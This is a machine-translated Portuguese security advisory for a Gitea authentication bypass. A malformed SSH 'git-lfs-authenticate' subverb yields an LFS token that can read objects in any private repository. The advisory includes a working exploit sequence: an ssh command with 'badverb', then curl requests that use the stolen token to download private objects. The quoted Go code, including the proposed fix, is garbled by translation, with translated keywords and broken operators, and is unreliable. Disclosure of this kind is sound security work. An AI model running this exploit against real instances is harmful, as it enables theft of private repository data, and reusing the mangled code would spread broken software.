Um defeito no manuseamento de subverbo SSH LFS permite que qualquer usuário SSH autêntico obtenha credenciais válidas para qualquer repositório na instância, incluindo repositórios privados aos quais não tem acesso. Isto permite o download não autorizado de todos os objetos da LFS de qualquer repositório privado. Em `cmd/ serv.go`, a função `getAccessMode` determina o nível de acesso necessário para operações SSH. Para verbos LFS (`git-lfs-authenticate`, `git-lfs- transfer`), ele se conecta ao subverbo (`upload`/`download`). Se o subverbo não for nenhum, a execução cai para: ```go setting.PanicInDevOrTesting("verbo desconhecido:%s%s", verbo, lfsVerb) retorna perm.AccessModeNenhum ```. Na produção (`IsProd=true`), `PanicInDevOrTesting` só registra um erro e não entra em pânico. `AccessModeNenhum` (valor ` 0 `) é então passado para `ServCommand` em `routers/private/serv.go`, onde o bloco de verificação de permissão na linha ~ 322 avalia:.
```go if repoExist & & & (mode > perm.AccessModeRead.IsPrivate.Visibilidade.IsPrivate(). (user!= nul & & & user.IsRestrited).Serviço.RequireLogInViewStrict) {... se userMode < mode { // userMode < 0 é sempre falso // negar acesso } } ``` Para repositórios privados, ` repo.IsPrivate` ativa o bloco de verificação de permissões, mas ` userMode < mode ' avalia para ` userMode < 0 `, que é sempre falso — ** o acesso é concedido independentemente das permissões reais do usuário**. A função então retorna com sucesso, e o `runServ` gera um token JWT LFS válido com `Op: "badverb"`. No lado HTTP LFS (`services/lfs/server.go: 599 `), o campo `Op` só é validado para operações de gravação:.
``` go if mode == perm_model.AccessModeWrite & & & claims.Op!= "upload" { retorna zero, erros.Novo("reclamação token inválida") } ``` As operações de download não verificam `Op`, para que o token do atacante seja aceito para todas as operações de leitura da LFS. Prerequisitos: Instância de uma Gitea com SSH e LFS habilitados (configuração predeterminada). Dois usuários: `admin` (possui um repositório privado com objetos LFS) e `atacker` (um usuário regular com uma chave SSH, ** nenhum acesso** ao repositório privado).
````bash # 1. Verificar que o atacante não tem acesso através da normalidade de autenticação da LFS ssh git@gitea- instance "git-lfs-autenticate admin/private-repo.git download" # Saída: "Usuário: o atacante não está autorizado a ler admin/private-repo." # 2. EXPLOIT: Use o subverbo mal-formado para evitar a permissão ssh git@gitea- instance "git-lfs-autenticate admin/private-repo.git badverb" # Saída: {"header": {"Authorization":"Bearer eyJ..."},"href":" # 3. Use token roubado para solicitar o curl de download de objetos LFS -X POST " \ -H "Content-Type: application/vnd.git-lfs+json" \ -H "Accept: application/vnd.git-lfs+json" \ -H "Autorização: Carregador eyJ..." \ -d '{""operação":"download","objetos":[{"oid":" ","tamanho": }}}' # Devolve URL de download com cabeçalho de autorização válido.
# 4. Baixe o conteúdo privado da LFS curl -H "Autorização: Portador eyJ..." \ " " # Devolve o conteúdo privado do objeto da LFS ``` Qualquer usuário com acesso SSH a uma instância da Gitea (que inclui qualquer usuário registrado se o auto- registro estiver ativado) pode ler objetos da LFS a partir de ** qualquer repositório privado** na instância, independentemente de suas permissões reais de repositório. Esta é uma violação de confidencialidade que afeta todas as implementações da Gitea executadas no modo de produção com SSH e LFS habilitados (a configuração padrão). Valide o subverbo LFS antes de chamar `getAccessMode`, ou devolva um erro em vez de `AccessModeNenhum` para verbos desconhecidos:.
``` go case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer: switch lfsVerb { case git.CmdSubVerbLfsUpload: retorno perm.AccessModeWrite case git.CmdSubVerbLfsDownload: retorno perm.AccessModeLeia por omissão: devolução fail(ctx, "Verbo LFS desconhecido", "Verbo LFS desconhecido:%s", "LfsVerb") } Registro de aconselhamento: GHSA- 7 wvc- rvp 7 - w 99 x. Identificadores relacionados: CVE- 2026 - 58423. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 20: 35: 09.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 20: 35: 10.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. Software afetado e informações de versão: Go package code.gitea.io/gitea — ECOSISTEM: introduzido 1.23.0, corrigido 1.26.3. Classificação e evidência: identificadores de fraqueza CWE- 287. O registro contém 8 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.